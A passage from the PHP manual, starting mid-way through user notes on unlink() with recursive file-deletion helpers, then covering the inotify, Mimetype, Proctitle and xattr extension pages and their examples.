function unlinkRecursive($dir, $deleteRootToo)
{
    if(!$dh = @opendir($dir))
    {
        return;
    }
    while (false !== ($obj = readdir($dh)))
    {
        if($obj == '.' || $obj == '..')
        {
            continue;
        }

        if (!@unlink($dir . '/' . $obj))
        {
            unlinkRecursive($dir.'/'.$obj, true);
        }
    }

    closedir($dh);

    if ($deleteRootToo)
    {
        @rmdir($dir);
    }

    return;
}
?>
Anonymous 01-Nov-2008 03:13
To unlink, the web server user must have write permissions to the directory.

Conversely, if a user has write permissions to a directory, it may delete files from that directory regardless of who owns them...
hi at hi dot hi 12-Oct-2008 05:19
using this function with windows will generate an error, make sure to use is_file
http://www.paladinux.net 01-Oct-2008 05:59
Under Windows System and Apache, denied access to file is an usual error to unlink file.
To delete file you must to change file's owern.
An example:

<?php
chown($TempDirectory."/".$FileName,666); //Insert an Invalid UserId to set to Nobody Owern; 666 is my standard for "Nobody"
unlink($TempDirectory."/".$FileName);
?>
gotdalife at gmail dot com 25-Sep-2008 04:04
To anyone who's had a problem with the permissions denied error, it's sometimes caused when you try to delete a file that's in a folder higher in the hierarchy to your working directory (i.e. when trying to delete a path that starts with "../").

So to work around this problem, you can use chdir() to change the working directory to the folder where the file you want to unlink is located.

<?php
    $old = getcwd(); // Save the current directory
    chdir($path_to_file);
    unlink($filename);
    chdir($old); // Restore the old working directory
?>
southsentry at yahoo dot com 31-Aug-2008 07:23
This is in response to alvaro at demogracia dot com

Yes, I found that out and have had to wrap it with is_file:

<?php
if(is_file("$file")) {
unlink("$file");
}
?>
PD 06-Aug-2008 02:07
I have been working on some little tryout where a backup file was created before modifying the main textfile. Then when an error is thrown, the main file will be deleted (unlinked) and the backup file is returned instead.

Though, I have been breaking my head for about an hour on why I couldn't get my persmissions right to unlink the main file.

Finally I knew what was wrong: because I was working on the file and hadn't yet closed the file, it was still in use and ofcourse couldn't be deleted :)

So I thought of mentoining this here, to avoid others of making the same mistake:

<?php
// First close the file
fclose($fp);

// Then unlink :)
unlink($somefile);
?>
ayor ATTTTT ayor.biz 20-Dec-2007 03:02
ggarciaa's post above has already one small error, closedir has to be used even if $DeleteMe is false

<?php
// ggarciaa at gmail dot com (04-July-2007 01:57)
// I needed to empty a directory, but keeping it
// so I slightly modified the contribution from
// stefano at takys dot it (28-Dec-2005 11:57)
// A short but powerfull recursive function
// that works also if the dirs contain hidden files
//
// $dir = the target directory
// $DeleteMe = if true delete also $dir, if false leave it alone

function SureRemoveDir($dir, $DeleteMe) {
    if(!$dh = @opendir($dir)) return;
    while (false !== ($obj = readdir($dh))) {
        if($obj=='.' || $obj=='..') continue;
        if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true);
    }

    closedir($dh);
    if ($DeleteMe){
        @rmdir($dir);
    }
}

//SureRemoveDir('EmptyMe', false);
//SureRemoveDir('RemoveMe', true);

?>
rahulnvaidya at gmail dot com 03-Aug-2007 11:36
ggarciaa's post above has one small error, it will ignore file and directory strings that are evaluated as false (ie. "0")

Fixed code is below (false !==)

<?php
// ggarciaa at gmail dot com (04-July-2007 01:57)
// I needed to empty a directory, but keeping it
// so I slightly modified the contribution from
// stefano at takys dot it (28-Dec-2005 11:57)
// A short but powerfull recursive function
// that works also if the dirs contain hidden files
//
// $dir = the target directory
// $DeleteMe = if true delete also $dir, if false leave it alone

function SureRemoveDir($dir, $DeleteMe) {
    if(!$dh = @opendir($dir)) return;
    while (false !== ($obj = readdir($dh))) {
        if($obj=='.' || $obj=='..') continue;
        if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true);
    }
    if ($DeleteMe){
        closedir($dh);
        @rmdir($dir);
    }
}

//SureRemoveDir('EmptyMe', false);
//SureRemoveDir('RemoveMe', true);

?>
ggarciaa at gmail dot com 04-Jul-2007 08:00
<?php
// ggarciaa at gmail dot com (04-July-2007 01:57)
// I needed to empty a directory, but keeping it
// so I slightly modified the contribution from
// stefano at takys dot it (28-Dec-2005 11:57)
// A short but powerfull recursive function
// that works also if the dirs contain hidden files
//
// $dir = the target directory
// $DeleteMe = if true delete also $dir, if false leave it alone

function SureRemoveDir($dir, $DeleteMe) {
    if(!$dh = @opendir($dir)) return;
    while (($obj = readdir($dh))) {
        if($obj=='.' || $obj=='..') continue;
        if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true);
    }
    if ($DeleteMe){
        closedir($dh);
        @rmdir($dir);
    }
}

//SureRemoveDir('EmptyMe', false);
//SureRemoveDir('RemoveMe', true);

?>
torch at torchsdomain dot com 22-Nov-2006 09:27
Here is simple function that will find and remove all files (except "." ones) that match the expression ($match, "*" as wildcard) under starting directory ($path) and all other directories under it.

function rfr($path,$match){
   static $deld = 0, $dsize = 0;
   $dirs = glob($path."*");
   $files = glob($path.$match);
   foreach($files as $file){
      if(is_file($file)){
         $dsize += filesize($file);
         unlink($file);
         $deld++;
      }
   }
   foreach($dirs as $dir){
      if(is_dir($dir)){
         $dir = basename($dir) . "/";
         rfr($path.$dir,$match);
      }
   }
   return "$deld files deleted with a total size of $dsize bytes";
}
bmcouto at hotmail dot com 30-Sep-2006 10:30
<?php
$myFile = "testFile.txt";
$fh = fopen($myFile, 'w') or die("can't open file");
fclose($fh);
?>

Now to delete testFile.txt we simply run a PHP script that is located in the same directory. Unlink just needs to know the name of the file to start working its destructive magic.

<?php
$myFile = "testFile.txt";
unlink($myFile);
?>

The testFile.txt should now be removed.
bishop 05-Jun-2005 09:30
<?php
/**
 * rm() -- Vigorously erase files and directories.
 *
 * @param $fileglob mixed If string, must be a file name (foo.txt), glob pattern (*.txt), or directory name.
 *                        If array, must be an array of file names, glob patterns, or directories.
 */
function rm($fileglob)
{
    if (is_string($fileglob)) {
        if (is_file($fileglob)) {
            return unlink($fileglob);
        } else if (is_dir($fileglob)) {
            $ok = rm("$fileglob/*");
            if (! $ok) {
                return false;
            }
            return rmdir($fileglob);
        } else {
            $matching = glob($fileglob);
            if ($matching === false) {
                trigger_error(sprintf('No files match supplied glob %s', $fileglob), E_USER_WARNING);
                return false;
            }
            $rcs = array_map('rm', $matching);
            if (in_array(false, $rcs)) {
                return false;
            }
        }
    } else if (is_array($fileglob)) {
        $rcs = array_map('rm', $fileglob);
        if (in_array(false, $rcs)) {
            return false;
        }
    } else {
        trigger_error('Param #1 must be filename or glob pattern, or array of filenames or glob patterns', E_USER_ERROR);
        return false;
    }

    return true;
}
?>
jchase at solidmark dot com 21-May-2005 07:05
[Editor's note: A suggestion for a work-around was submitted by argistof at gmail dot com: You can use the recursive option (see man chmod) when chmodding, for instance 'chmod 777 directory/ -R'. Be aware though, this will change the permissions of all files and folders in the diectory.]

Just a note which you probably all know, but I didn't, and it might save another poor sap some unnecessary time:

I was doing unlink() and fopen() on a file and got a permission denied error, even after chmoding the file to 0777.

The folder that contains the file must ALSO have write permission.  Took a headache to find this out.

Hope this helps someone :)
ashley at semantic dot org 02-Apr-2005 11:50
Actually you should use "@unlink" rather than testing with file_exists. The former is atomic, whereas the latter can break if you can't guarantee only one process will try to delete a given file at a time.
dagski_AT_gmail_DOT_com 07-Feb-2005 07:19
before you could unlink a file created which uses a handle e.g.,

$handle = sqlite('temp.db');

unset($handle); first befofe
unlink($handle);

to avoide permission denied error.
chris at vibenewmedia dot com 14-Sep-2004 07:54
To delete all files of a particular extension, or infact, delete all with wildcard, a much simplar way is to use the glob function.  Say I wanted to delete all jpgs .........

<?php

foreach (glob("*.jpg") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
   unlink($filename);
}

?>
pc AT newagelab DOT com DOT ua 08-Sep-2004 05:22
To delete files using wildcards:

<?
function delfile($str)
{
    foreach(glob($str) as $fn) {
        unlink($fn);
    }
}
?>


Inotify

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installing/Configuring
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Inotify Functions
    • inotify_add_watch — Add a watch to an initialized inotify instance
    • inotify_init — Initialize an inotify instance
    • inotify_queue_len — Return a number upper than zero if there are pending events
    • inotify_read — Read events from an inotify instance
    • inotify_rm_watch — Remove an existing watch from an inotify instance

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The inotify extension exposes the inotify functions inotify_init(), inotify_add_watch() and inotify_rm_watch().

As the C inotify_init() function returns a file descriptor, PHP's inotify_init() returns a stream resource, usable with standard stream functions, like stream_select(), stream_set_blocking() and fclose(). inotify_read() replaces the C way of reading inotify events.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installing/Configuring
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension requires Linux 2.6.13 or newer, and a recent libC.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/inotify.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines a stream resource returned by inotify_init().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Inotify constants usable with inotify_add_watch() and/or returned by inotify_read()
IN_ACCESS (integer)
File was accessed (read) (*)
IN_MODIFY (integer)
File was modified (*)
IN_ATTRIB (integer)
Metadata changed (e.g. permissions, mtime, etc.) (*)
IN_CLOSE_WRITE (integer)
File opened for writing was closed (*)
IN_CLOSE_NOWRITE (integer)
File not opened for writing was closed (*)
IN_OPEN (integer)
File was opened (*)
IN_MOVED_TO (integer)
File moved into watched directory (*)
IN_MOVED_FROM (integer)
File moved out of watched directory (*)
IN_CREATE (integer)
File or directory created in watched directory (*)
IN_DELETE (integer)
File or directory deleted in watched directory (*)
IN_DELETE_SELF (integer)
Watched file or directory was deleted
IN_MOVE_SELF (integer)
Watch file or directory was moved
IN_CLOSE (integer)
Equals to IN_CLOSE_WRITE | IN_CLOSE_NOWRITE
IN_MOVE (integer)
Equals to IN_MOVED_FROM | IN_MOVED_TO
IN_ALL_EVENTS (integer)
Bitmask of all the above constants
IN_UNMOUNT (integer)
File system containing watched object was unmounted
IN_Q_OVERFLOW (integer)
Event queue overflowed (wd is -1 for this event)
IN_IGNORED (integer)
Watch was removed (explicitly by inotify_rm_watch() or because file was removed or filesystem unmounted
IN_ISDIR (integer)
Subject of this event is a directory
IN_ONLYDIR (integer)
Only watch pathname if it is a directory (Since Linux 2.6.15)
IN_DONT_FOLLOW (integer)
Do not dereference pathname if it is a symlink (Since Linux 2.6.15)
IN_MASK_ADD (integer)
Add events to watch mask for this pathname if it already exists (instead of replacing mask).
IN_ONESHOT (integer)
Monitor pathname for one event, then remove from watch list.

Note: The events marked with an asterisk (*) above can occur for files in watched directories.

User Contributed Notes

rogere84 at gmail dot com 16-Apr-2014 03:52
I noticed that the values of the constants seem to be missing. Granted, these could change dependant on version but on my system here are the values (should you want them).

IN_ACCESS = 1
IN_MODIFY = 2
IN_ATTRIB = 4
IN_CLOSE_WRITE = 8
IN_CLOSE_NOWRITE = 16
IN_OPEN = 32
IN_MOVED_FROM = 64
IN_MOVED_TO = 128
IN_CREATE = 256
IN_DELETE = 512
IN_DELETE_SELF = 1024
IN_MOVE_SELF = 2048
IN_UNMOUNT = 8192
IN_Q_OVERFLOW = 16384
IN_IGNORED = 32768
IN_CLOSE = 24
IN_MOVE = 192
IN_ALL_EVENTS = 4095
IN_ONLYDIR = 16777216
IN_DONT_FOLLOW = 33554432
IN_MASK_ADD = 536870912
IN_ISDIR = 1073741824
IN_ONESHOT = 2147483648
crownedgrouse 13-Mar-2009 11:11
Be carefull using IN_MODIFY :

Lot of UNIX editor, for instance like 'vi', work in a 'xxx~' file, and changes are written in 'xxx' when saving or saving and closing.

If a watcher is done on 'xxx', no IN_MODIFY event occurs while not saved !

Prefere IN_CLOSE_WRITE in such case .


Inotify Functions

Table of Contents

  • inotify_add_watch — Add a watch to an initialized inotify instance
  • inotify_init — Initialize an inotify instance
  • inotify_queue_len — Return a number upper than zero if there are pending events
  • inotify_read — Read events from an inotify instance
  • inotify_rm_watch — Remove an existing watch from an inotify instance

User Contributed Notes

There are no user contributed notes for this page.


Add a watch to an initialized inotify instance

  • « Inotify Functions
  • inotify_init »
  • PHP Manual
  • Inotify Functions
  • Add a watch to an initialized inotify instance

inotify_add_watch

(PECL inotify >= 0.1.2)

inotify_add_watch — Add a watch to an initialized inotify instance

Description

int inotify_add_watch ( resource $inotify_instance , string $pathname , int $mask )

inotify_add_watch() adds a new watch or modify an existing watch for the file or directory specified in pathname.

Using inotify_add_watch() on a watched object replaces the existing watch. Using the IN_MASK_ADD constant adds (OR) events to the existing watch.

Parameters

inotify_instance

Resource returned by inotify_init()

pathname

File or directory to watch

mask

Events to watch for. See Predefined Constants.

Return Values

The return value is a unique (inotify instance wide) watch descriptor.

See Also

  • inotify_init() - Initialize an inotify instance

User Contributed Notes

There are no user contributed notes for this page.


Initialize an inotify instance

  • « inotify_add_watch
  • inotify_queue_len »
  • PHP Manual
  • Inotify Functions
  • Initialize an inotify instance

inotify_init

(PECL inotify >= 0.1.2)

inotify_init — Initialize an inotify instance

Description

resource inotify_init ( void )

Initialize an inotify instance for use with inotify_add_watch()

Return Values

A stream resource or FALSE on error.

Examples

Example #1 Example usage of inotify

<?php
// Open an inotify instance
$fd = inotify_init();

// Watch __FILE__ for metadata changes (e.g. mtime)
$watch_descriptor = inotify_add_watch($fd, __FILE__, IN_ATTRIB);

// generate an event
touch(__FILE__);

// Read events
$events = inotify_read($fd);
print_r($events);

// The following methods allows to use inotify functions without blocking on inotify_read():

// - Using stream_select() on $fd:
$read = array($fd);
$write = null;
$except = null;
stream_select($read,$write,$except,0);

// - Using stream_set_blocking() on $fd
stream_set_blocking($fd, 0);
inotify_read($fd); // Does no block, and return false if no events are pending

// - Using inotify_queue_len() to check if event queue is not empty
$queue_len = inotify_queue_len($fd); // If > 0, inotify_read() will not block

// Stop watching __FILE__ for metadata changes
inotify_rm_watch($fd, $watch_descriptor);

// Close the inotify instance
// This may have closed all watches if this was not already done
fclose($fd);

?>

The above example will output something similar to:

array(
  array(
    'wd' => 1,     // Equals $watch_descriptor
    'mask' => 4,   // IN_ATTRIB bit is set
    'cookie' => 0, // unique id to connect related events (e.g.
                   // IN_MOVE_FROM and IN_MOVE_TO events)
    'name' => '',  // the name of a file (e.g. if we monitored changes
                   // in a directory)
  ),
);

See Also

  • inotify_add_watch() - Add a watch to an initialized inotify instance
  • inotify_rm_watch() - Remove an existing watch from an inotify instance
  • inotify_queue_len() - Return a number upper than zero if there are pending events
  • inotify_read() - Read events from an inotify instance
  • fclose() - Closes an open file pointer

User Contributed Notes

david dot schueler at tel-billig dot de 25-Nov-2010 05:42
Example for tailing a file (like tail -f) using inotify.
<?php
/**
 * Tail a file (UNIX only!)
 * Watch a file for changes using inotify and return the changed data
 *
 * @param string $file - filename of the file to be watched
 * @param integer $pos - actual position in the file
 * @return string
 */
function tail($file,&$pos) {
    // get the size of the file
    if(!$pos) $pos = filesize($file);
    // Open an inotify instance
    $fd = inotify_init();
    // Watch $file for changes.
    $watch_descriptor = inotify_add_watch($fd, $file, IN_ALL_EVENTS);
    // Loop forever (breaks are below)
    while (true) {
        // Read events (inotify_read is blocking!)
        $events = inotify_read($fd);
        // Loop though the events which occured
        foreach ($events as $event=>$evdetails) {
            // React on the event type
            switch (true) {
                // File was modified
                case ($evdetails['mask'] & IN_MODIFY):
                    // Stop watching $file for changes
                    inotify_rm_watch($fd, $watch_descriptor);
                    // Close the inotify instance
                    fclose($fd);
                    // open the file
                    $fp = fopen($file,'r');
                    if (!$fp) return false;
                    // seek to the last EOF position
                    fseek($fp,$pos);
                    // read until EOF
                    while (!feof($fp)) {
                        $buf .= fread($fp,8192);
                    }
                    // save the new EOF to $pos
                    $pos = ftell($fp); // (remember: $pos is called by reference)
                    // close the file pointer
                    fclose($fp);
                    // return the new data and leave the function
                    return $buf;
                    // be a nice guy and program good code ;-)
                    break;

                    // File was moved or deleted
                case ($evdetails['mask'] & IN_MOVE):
                case ($evdetails['mask'] & IN_MOVE_SELF):
                case ($evdetails['mask'] & IN_DELETE):
                case ($evdetails['mask'] & IN_DELETE_SELF):
                    // Stop watching $file for changes
                    inotify_rm_watch($fd, $watch_descriptor);
                    // Close the inotify instance
                    fclose($fd);
                    // Return a failure
                    return false;
                    break;
            }
        }
    }
}

// Use it like that:
$lastpos = 0;
while (true) {
    echo tail($file,$lastpos);
}
?>


Return a number upper than zero if there are pending events

  • « inotify_init
  • inotify_read »
  • PHP Manual
  • Inotify Functions
  • Return a number upper than zero if there are pending events

inotify_queue_len

(PECL inotify >= 0.1.2)

inotify_queue_len — Return a number upper than zero if there are pending events

Description

int inotify_queue_len ( resource $inotify_instance )

This function allows to know if inotify_read() will block or not. If a number upper than zero is returned, there are pending events and inotify_read() will not block.

Parameters

inotify_instance

Resource returned by inotify_init()

Return Values

Returns a number upper than zero if there are pending events.

See Also

  • inotify_init() - Initialize an inotify instance
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream

User Contributed Notes

There are no user contributed notes for this page.


Read events from an inotify instance

  • « inotify_queue_len
  • inotify_rm_watch »
  • PHP Manual
  • Inotify Functions
  • Read events from an inotify instance

inotify_read

(PECL inotify >= 0.1.2)

inotify_read — Read events from an inotify instance

Description

array inotify_read ( resource $inotify_instance )

Read inotify events from an inotify instance.

Parameters

inotify_instance

Resource returned by inotify_init()

Return Values

An array of inotify events or FALSE if no events was pending and inotify_instance is non-blocking. Each event is an array with the following keys:

  • wd is a watch descriptor returned by inotify_add_watch()
  • mask is a bit mask of events
  • cookie is a unique id to connect related events (e.g. IN_MOVE_FROM and IN_MOVE_TO)
  • name is the name of a file (e.g. if a file was modified in a watched directory)

See Also

  • inotify_init() - Initialize an inotify instance
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • inotify_queue_len() - Return a number upper than zero if there are pending events

User Contributed Notes

qriff at hotmail dot com 20-Sep-2013 08:50
<?php

$wd_constants = array(
1 => array('IN_ACCESS','File was accessed (read)'),
2 => array('IN_MODIFY','File was modified'),
4 => array('IN_ATTRIB','Metadata changed (e.g. permissions, mtime, etc.)'),
8 => array('IN_CLOSE_WRITE','File opened for writing was closed'),
16 => array('IN_CLOSE_NOWRITE','File not opened for writing was closed'),
32 => array('IN_OPEN','File was opened'),
128 => array('IN_MOVED_TO','File moved into watched directory'),
64 => array('IN_MOVED_FROM','File moved out of watched directory'),
256 => array('IN_CREATE','File or directory created in watched directory'),
512 => array('IN_DELETE','File or directory deleted in watched directory'),
1024 => array('IN_DELETE_SELF','Watched file or directory was deleted'),
2048 => array('IN_MOVE_SELF','Watch file or directory was moved'),
24 => array('IN_CLOSE','Equals to IN_CLOSE_WRITE | IN_CLOSE_NOWRITE'),
192 => array('IN_MOVE','Equals to IN_MOVED_FROM | IN_MOVED_TO'),
4095 => array('IN_ALL_EVENTS','Bitmask of all the above constants'),
8192 => array('IN_UNMOUNT','File system containing watched object was unmounted'),
16384 => array('IN_Q_OVERFLOW','Event queue overflowed (wd is -1 for this event)'),
32768 => array('IN_IGNORED','Watch was removed (explicitly by inotify_rm_watch() or because file was removed or filesystem unmounted'),
1073741824 => array('IN_ISDIR','Subject of this event is a directory'),
1073741840 => array('IN_CLOSE_NOWRITE','High-bit: File not opened for writing was closed'),
1073741856 => array('IN_OPEN','High-bit: File was opened'),
1073742080 => array('IN_CREATE','High-bit: File or directory created in watched directory'),
1073742336 => array('IN_DELETE','High-bit: File or directory deleted in watched directory'),
16777216 => array('IN_ONLYDIR','Only watch pathname if it is a directory (Since Linux 2.6.15)'),
33554432 => array('IN_DONT_FOLLOW','Do not dereference pathname if it is a symlink (Since Linux 2.6.15)'),
536870912 => array('IN_MASK_ADD','Add events to watch mask for this pathname if it already exists (instead of replacing mask).'),
2147483648 => array('IN_ONESHOT','Monitor pathname for one event, then remove from watch list.')
);

$path = $argv[1];

$fd = inotify_init();
stream_set_blocking($fd, 0);
$watch_descriptor = inotify_add_watch($fd, $path, IN_ALL_EVENTS);

$poll = 0;
while (true) {
  $ecount = 0;
  $fcount = 0;
  // Poll for queued events, generated meanwhile
  // Because while (true) { } has some seriously bad mojo
  sleep(5);
  $poll++;
  $events = inotify_read($fd);
  if ($events) $ecount = count($events);
  echo "=== ".date("Y-m-d H:i:s")." inotify poll #$poll contains ".$ecount." events";
  if ($events) echo ":";
  echo "\n";
  if ($events) {
        foreach ($events as $event) {
                $fcount++;
                echo "        inotify Event #".$fcount." - Object: ".$event['name'].": ".$wd_constants[$event['mask']][0]." (".$wd_constants[$event['mask']][1].")\n";
        }
  }
}

inotify_rm_watch($fd, $watch_descriptor);

fclose($fd);

?>


Remove an existing watch from an inotify instance

  • « inotify_read
  • Mimetype »
  • PHP Manual
  • Inotify Functions
  • Remove an existing watch from an inotify instance

inotify_rm_watch

(PECL inotify >= 0.1.2)

inotify_rm_watch — Remove an existing watch from an inotify instance

Description

bool inotify_rm_watch ( resource $inotify_instance , int $watch_descriptor )

inotify_rm_watch() removes the watch watch_descriptor from the inotify instance inotify_instance.

Parameters

inotify_instance

Resource returned by inotify_init()

watch_descriptor

Watch to remove from the instance

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • inotify_init() - Initialize an inotify instance

User Contributed Notes

There are no user contributed notes for this page.


Mimetype

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Warning

This extension has been deprecated as the PECL extension Fileinfo provides the same functionality (and more) in a much cleaner way.

The functions in this module try to guess the content type and encoding of a file by looking for certain magic byte sequences at specific positions within the file. While this is not a bullet proof approach the heuristics used do a very good job.

This extension is derived from Apache mod_mime_magic, which is itself based on the file command maintained by Ian F. Darwin. See the source code for further historic and copyright information.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Warning

Mimetype extensions has been removed from PHP 5.3.0 in favor of Fileinfo.

You must compile PHP with the configure switch --with-mime-magic to get support for mime-type functions. The extension needs a copy of the simplified magic file that is distributed with the Apache httpd.

Note:

The configure option has been changed from --enable-mime-magic to --with-mime-magic since PHP 4.3.2

Note:

This extension is not capable of handling the fully decorated magic file that generally comes with standard Linux distro's and is supposed to be used with recent versions of file command.

Note: Note to Win32 Users

In order to use this module on a Windows environment, you must set the path to the bundled magic.mime file in your php.ini.

Example #1 Setting the path to magic.mime

mime_magic.magicfile = "$PHP_INSTALL_DIR\magic.mime"

Remember to substitute the $PHP_INSTALL_DIR for your actual path to PHP in the above example. e.g. c:\php

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mimetype configuration options
Name | Default | Changeable | Changelog
mime_magic.debug | "0" | PHP_INI_SYSTEM | Available since PHP 5.0.0.
mime_magic.magicfile | "/path/to/php/magic.mime" | PHP_INI_SYSTEM | Available since PHP 4.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mime_magic.debug bool

Enable/disable debugging.

mime_magic.magicfile string

The path to the magic.mime file.

User Contributed Notes

There are no user contributed notes for this page.


Proctitle

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Proctitle Functions
    • setproctitle — Set the process title
    • setthreadtitle — Set the thread title

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension allows changing the current process', and thread, name on Linux and *BSD systems. This is useful when using pcntl_fork() to identify running processes in process list

User Contributed Notes

There are no user contributed notes for this page.


  • « Installing/Configuring
  • Installation »
  • PHP Manual
  • Installing/Configuring
  • Requirements

Requirements

Nothing special.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/proctitle.

User Contributed Notes

There are no user contributed notes for this page.


Proctitle Functions

Table of Contents

  • setproctitle — Set the process title
  • setthreadtitle — Set the thread title

User Contributed Notes

There are no user contributed notes for this page.


Set the process title

  • « Proctitle Functions
  • setthreadtitle »
  • PHP Manual
  • Proctitle Functions
  • Set the process title

setproctitle

(PECL proctitle >= 0.1.0)

setproctitle — Set the process title

Description

void setproctitle ( string $title )

Sets the process title of the current process.

Parameters

title

The title to use as the process title.

Return Values

No value is returned.

Examples

Example #1 setproctitle() example

Running the example below will change the process title (visible with ps a for example).

<?php
setproctitle("myscript");
?>

The above example will output something similar to:

$ ps a
  PID TTY      STAT   TIME COMMAND
 1168 pts/3    S      0:00 myscript

See Also

  • pcntl_fork() - Forks the currently running process
  • setthreadtitle() - Set the thread title

User Contributed Notes

james at ifixit dot com 29-Mar-2014 07:12
You should use cli_set_process_title() ( http://php.net/manual/en/function.cli-set-process-title.php ) instead; it's less dangerous and less buggy, and part of PHP itself as of 5.5.
zodbd421 at gmail dot com 21-Apr-2013 02:16
Note that this extension is considered buggy.  See https://wiki.php.net/rfc/cli_process_title, which says:

"...but it is incomplete and might lead to memory corruption on Linux (or any OS which does not support setproctitle.

The reason is the extension only has access to original argv[0] (that comes from main()). argv and environ(7) are in contiguous memory space on Linux. The extension presumes that argv[0] can accomodate 128 characters, but usually that is not possible because argv[0] is “php”. When this happens, the extension will scribble on argv[1], argv[2], etc., and maybe even environ and this can have destructive side effects on the running program."


Set the thread title

  • « setproctitle
  • xattr »
  • PHP Manual
  • Proctitle Functions
  • Set the thread title

setthreadtitle

(PECL proctitle >= 0.1.2)

setthreadtitle — Set the thread title

Description

bool setthreadtitle ( string $title )

Sets the thread title.

Parameters

title

The title to use as the thread title.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 setthreadtitle() example

Running the example below will change the thread title (visible with ps c for example).

<?php
setthreadtitle("myscript");
?>

The above example will output something similar to:

$ ps c
  PID TTY      STAT   TIME COMMAND
 1178 pts/3    S      0:00 myscript

See Also

  • pcntl_fork() - Forks the currently running process
  • setproctitle() - Set the process title

User Contributed Notes

There are no user contributed notes for this page.


xattr

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • xattr Functions
    • xattr_get — Get an extended attribute
    • xattr_list — Get a list of extended attributes
    • xattr_remove — Remove an extended attribute
    • xattr_set — Set an extended attribute
    • xattr_supported — Check if filesystem supports extended attributes

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The xattr extension allows for the manipulation of extended attributes on a filesystem.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To use xattr, you will need libattr installed. It is available at » http://oss.sgi.com/projects/xfs/.

Note:

These functions only work on filesystems that support extended attributes, and have them enabled at mount time. Some common filesystems that support extended attributes are ext2, ext3, reiserfs, jfs, and xfs.

User Contributed Notes

sven _ oostenbrink atserver yahoo dot co 08-Aug-2009 03:29
An important thing to realize, if you wish to use xattr, you need a filesystem that has extended attributes functionalty and also has those enabled! I lost quite a bit of time with puzzling why xattr was not working with my ext4 system, until I found that the extended attributes, by default, are not enabled.

Adding user_xattr to the mounting configuration of the filesystem where I was working fixed the problem

/dev/sdb2    /home               ext4    relatime,user_xattr        0       2


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/xattr.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

XATTR_ROOT (integer)
Set attribute in root (trusted) namespace. Requires root privileges.
XATTR_DONTFOLLOW (integer)
Do not follow the symbolic link but operate on symbolic link itself.
XATTR_CREATE (integer)
Function will fail if extended attribute already exists.
XATTR_REPLACE (integer)
Function will fail if extended attribute doesn't exist.

User Contributed Notes

There are no user contributed notes for this page.


xattr Functions

Table of Contents

  • xattr_get — Get an extended attribute
  • xattr_list — Get a list of extended attributes
  • xattr_remove — Remove an extended attribute
  • xattr_set — Set an extended attribute
  • xattr_supported — Check if filesystem supports extended attributes

User Contributed Notes

There are no user contributed notes for this page.


Get an extended attribute

  • « xattr Functions
  • xattr_list »
  • PHP Manual
  • xattr Functions
  • Get an extended attribute

xattr_get

(PECL xattr >= 0.9.0)

xattr_get — Get an extended attribute

Description

string xattr_get ( string $filename , string $name [, int $flags = 0 ] )

This function gets the value of an extended attribute of a file.

Extended attributes have two different namespaces: user and root. The user namespace is available to all users, while the root namespace is available only to users with root privileges. xattr operates on the user namespace by default, but this can be changed with the flags parameter.

Parameters

filename

The file from which we get the attribute.

name

The name of the attribute.

flags

Supported xattr flags
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

Return Values

Returns a string containing the value or FALSE if the attribute doesn't exist.

Examples

Example #1 Checks if system administrator has signed the file

<?php
$file = '/usr/local/sbin/some_binary';
$signature = xattr_get($file, 'Root signature', XATTR_ROOT);

/* ... check if $signature is valid ... */

?>

See Also

  • xattr_list() - Get a list of extended attributes
  • xattr_set() - Set an extended attribute
  • xattr_remove() - Remove an extended attribute

User Contributed Notes

There are no user contributed notes for this page.


Get a list of extended attributes

  • « xattr_get
  • xattr_remove »
  • PHP Manual
  • xattr Functions
